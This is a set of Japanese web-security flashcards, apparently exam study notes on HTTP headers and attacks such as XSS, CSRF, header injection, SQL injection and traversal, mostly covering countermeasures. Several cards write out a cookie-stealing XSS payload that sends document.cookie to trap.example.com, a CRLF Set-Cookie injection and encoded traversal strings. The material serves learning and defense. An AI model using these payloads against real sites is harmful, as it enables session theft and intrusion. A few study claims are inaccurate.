SC_04_03_httpヘッダ / 出力

URLのクエリ文字列

https://wa3.i-3-i.info/search.html?q=piyota&ln=e

？以降
URLパラメーターともいう

HTTP GETメソッドと一緒
クエリ文字列
2種、意味もいう

パッシブパラメータ
→表示されるのは同じ（広告？）
アクティブパラメータ
→ユニクロのSとMの違い
HTTPフラッド
対策も

GETコマンド大量に送る。サーバーダウン
DDoS攻撃

■対策
・WAFを導入
・トラフィック監視する
・海外からのIPアドレスの遮断
ボリューム型攻撃
対策も

・UDPフラッド、ICMPフラッド
・大量のトラフィックで回線が圧迫
　ネットワーク全体に影響

対策は一緒
PoD

ICMP
pingで大量パケット送る
少量でも継続的に送ることで脅威
全てのウェブアプリケーションに共通の対策

HTTP レスポンスヘッダの Content-Type フィールドに文字コード（charset）を指定する。
HTTPヘッダインジェクション

■クッキー固定
①setcookie.cgi?name=XX
%0D%0ASet-Cookie～
のURLを送る
②クリックするとクッキーが固定される
③攻撃者がそのクッキーを使ってログイン
HTTPヘッダインジェクション　対策

■対策
・外部パラメータ（リクエストボディ）の値をレスポンスヘッダで使用しない。
・改行コードをエスケープする。（他の文字に置換もしくは削除）

改行文字を２つ以上含むと、その改行文字以降の部分がレスポンスボディとして扱われ、意図しないページが表示されてしまう攻撃
クロスサイトスクリプティング

①攻撃者が罠リンクを用意し、
②管理者にリンクをクリックさせ
③攻撃者が用意したWEBサイトにセッションを送り
④攻撃者はそのセッションIDでアクセスして
⑤情報を盗む（管理者でなりすまし）

※②どうやって実行されるかは不明
クロスサイトスクリプティングの罠サイト例
GET
リクストライン
ヘッダ

■これはJavaScript、クッキー取得
①罠サイト
http://trap.example.com/43/43-900.html
↓
②レスポンスボディ
<script>window.location='http://trap.example.com/43/43-901.php?sid='+document.cookie;</script>

↓
②GET
http://example.jp/43/43-001.php?
keyword=%3Cscript%3
Ewindow.location=%27http://trap.example.com/43/43-901.php?
sid=%27%2Bdocument.cookie;
%3C/script%3E
HTTP/1.1
クロスサイトスクリプティングで悪意のあるコードを埋め込む

HTMLインジェクション
クロスサイトスクリプティングはどこに埋め込む？

URLに<script>～</script>を仕込む
クロスサイトスクリプティング　
対策５つ

■概要
①クッキーにHttpOnlyとJavaScript が実行されない
Set-Cookie: sid=〇〇 Secure; HttpOnly
②特定の文字をサニタイジング、エスケープする
③URL を出力するときは、「http://」や「https://」で始まる URL のみを許可する。
④ <script>...</script> 要素の内容を動的に生成しない。
⑤スタイルシートを任意のサイトから取り込めるようにしない。
クロスサイトスクリプティング　
サイタニジング詳細
＜
＞
&
"
'

< ＆lt;
> ＆gt;
＆＆amp;
" ＆quot;
' '
クロスサイトスクリプティング
型3つ

①反射型
→サーバーにスクリプトがそのまま反射
　クリックなど。URLに書いてある
②格納型
→サーバーに格納
　クリック不要。URLでない
③DOM型
　反射型と同じだが、DOMの仕組みがある、
セッションハイジャック
概要
対策２つ

■概要
・ログインしたセッションＩＤがどうにかして盗まれる、Httpヘッダインジェクション

■対策
・hiddenフィールドにセッションIDを含める
→hiddenユーザーに表示されない
・セッションIDを定期的に変える
クロスサイトリクエストフォージェリ
概要

■概要
①前提として何かにログイン済み
②メールなどの罠サイトを送りクリックさせる
③ユーザーのブラウザを利用して不正なリクエストを送信させる
クロスサイトリクエストフォージェリ
対策4つ

①CSRFトークンの使用]
処理を実行するページを POST メソッドでアクセスするようにし、その「hidden パラメータ」に秘密情報が挿入されるよう、前のページを自動生成して、実行ページではその値が正しい場合のみ処理を実行する。

②SameSite属性を設定
　・Strict：同一サイトとみ
　・Lax：一度別サイトにいってもいい
　　　　 POSTはだめ
　・none：制限なし
③Refererヘッダーを確認し、信頼できるドメイン確認
④パスワード再入力
サーバサイドリクエストフォージェリ

サーバ側のプログラム、ミドルウェア、ライブラリ、OS 等の脆弱性を攻撃してSSHする
セッションフィクセーション
概要2つ
対策4つ

■概要
・攻撃者がセッションＩＤを送る。
・利用者がそれ使う。攻撃者がなりすまし。
■対策
・セッションIDの再生成
・セッションを困難にする
・セッションをURLに含めない
・セッションIDを含むすべての通信をHTTPSで暗号化
・セッションの有効期限
・認証後にセッションIDを変更する
クリックジャッキング
概要
対策3つ

透明なサイトをおいてだます

①直前にパスワード
②マウスで実行できないようにする
③X-Frame-Options(レスポンスヘッダ）
他のページにフレームを禁止
・DENY：すべて禁止
・SAMEORIGIN：同一オリジンのみ許可
・ALLOW-FROM：指定したオリジンのみ許可
④ Content-Security-Policy
どの親（オリジン）を許可しますか?
frame-ancestors
・None：すべて禁止
・Self ：同一オリジン
・Origin：指定オリジン
①X-XSS-Protection
②X-Content-Type-Options
③Strict-Transport-Security

① XSSフィルタを無効：1
②指定されたContent-Typeに従う：nosniff
③HSTSを強制
SQLインジェクション対策1

SQL 文の組み立ては全てプレースホルダで実装する
■位置指定プレースホルダ
SELECT * FROM users WHERE username = ? AND password = ?
■名前付きプレースホルダ
SELECT * FROM users
WHERE
　　username = :username
AND password = :password
SQLインジェクション対策
①～④

①文字列連結により行う場合は、エスケープ処理等を行うデータベースエンジンの API を用いて、SQL 文のリテラルを正しく構成する。

②ウェブアプリケーションに渡されるパラメータに SQL 文を直接指定しない。

③エラーメッセージをそのままブラウザに表示しない

④DBに権限を与えない
SQLインジェクション対策
プレースホルダが使えない場合

・文字リテラルないで特別な意味をもつ文字をエスケープする
・数値リテラルで数値以外が混入しないようにする
ディレクトリトラバーサル対策
三つ

① 外部からのパラメータでウェブサーバ内のファイル名を直接指定する実装を避ける。
②ファイルを開く際は、固定のディレクトリを指定し、かつファイル名にディレクトリ名が含
まれないようにする。
③ウェブサーバ内のファイルへのアクセス権限の設定を正しく管理する
OSコマンドインジェクション対策
二つ

①シェルを起動できる言語機能の利用を避ける。
②①を実行する場合その引数を構成する全ての変数に対してチェックを行い、あらかじめ許可した処理のみを実行する。
バッファオーバーフロー
対策

①直接メモリにアクセスできない言語で記述する。
②直接メモリにアクセスできる言語で記述する部分を最小限にする。
③脆弱性が修正されたバージョンのライブラリを使用する。
ライブラリに情弱性あった
どうする？
明文化は？

ダウンロードするライブラリに既知の脆弱性がないかを確認する。
特定のWebサイトからの入手をルール化し、明文化する。
httpsは一般的になにができる？

サーバ証明書を検証して、通信先がWサーバであることを確認する
HTTP認証2つ

・ベーシック認証
　→MD5でハッシュ化。盗聴される
・ダイジェスト認証
　→暗号化：チャレンジレスポンス
：でBASE64で
Cookieとは

Webサイトを閲覧した際にユーザーのブラウザに一時的に保存されるテキストファイル
セッションIDが漏れる2つ

・HTTPとHTTPSのページ間を行き来する
・ログイン前のHTTPのページで既にセッションIDを発行しており、ログイン後も同じセッションIDを使用する。
http
改行コード

%0d %0a
→CR＋CL
HTTPの形
（リクエスト）
（レスポンス）

・「リクエストライン」　or ・「ステータスライン」
・「ヘッダ」
・空行【CR＋LF】\r\n
・「メッセージボディ」
HTTP
GETリクエスト行

GETレスポンス行

・メソッドパス名 HTTP/バージョン
・GET /index.html HTTP/1.1

・HTTP/バージョンステータス番号補足メッセージ
・ HTTP/1.1 200 OK
GET（リクエストヘッダ）
・Accept：
・Accept-Charset :
・Accept-Language
・Accept-Encoding
・host(必須）
・Connection: Keep-Alive

要求
・ブラウザが受信可能なデータ形式
・文字コード
・言語
・エンコード方式
・送るサーバ名
・持続接続、複数可能
GET（リクエストヘッダ）
・Authorization
・User-Agent
・Referer
・Cookie

・認証情報
・ユーザーのブラウザに関する情報
・直前に見ていたURL
・Cookie情報
GET（レスポンスヘッダ）
・Set-Cookie
・Location
・Sever

・サーバーからクライアントへクッキーを送信
・リダイレクト先のURL
・レスポンスしたサーバー名
Set-Cookieの属性

属性
・HttpOnly
・Secure
・SameSite

レスポンスヘッダ
Set-Cookie: sessionId=abc123; HttpOnly; Secure; Path=/; SameSite=Strict

属性
・Cookieの有効期限
・httpsで通信しているときにだけCookieの情報を送る
・JavaScriptからクッキーにアクセスできないようにする
Expires
Cache-Control

レスポンスヘッダ
・有効期限
・キャッシュに関する指示複数
　→no-store：キャッシュ禁止
　　no-cache：変更の有無
検索エンジンの対象外にする
contents=？？？

noindex
none
ステータス番号
・100
・200
・300
・401
・404
・500

ステータス番号
・暫定継続
・成功
・複数存在する
・エラー：認証されていません
・エラー：見つからない
・サーバエラー
ステートレス

・サーバーで保持しない
・httpはステートレスなのでクッキーが必要
エンコード
・%2e
・%2F
・%24
・%26

・%2e：.
・%2F：/
→パストラバーサル
　ディレクトリトラバーサス
・%2$：$
・%26：&
%c1%1c
%c0%9v
%c0%af

/ や \ の文字に変換された。

オンライン単語帳

このページを利用するにはログインする必要があります。ログインするとAnkilotをより便利にご利用いただけます。

登録するログインする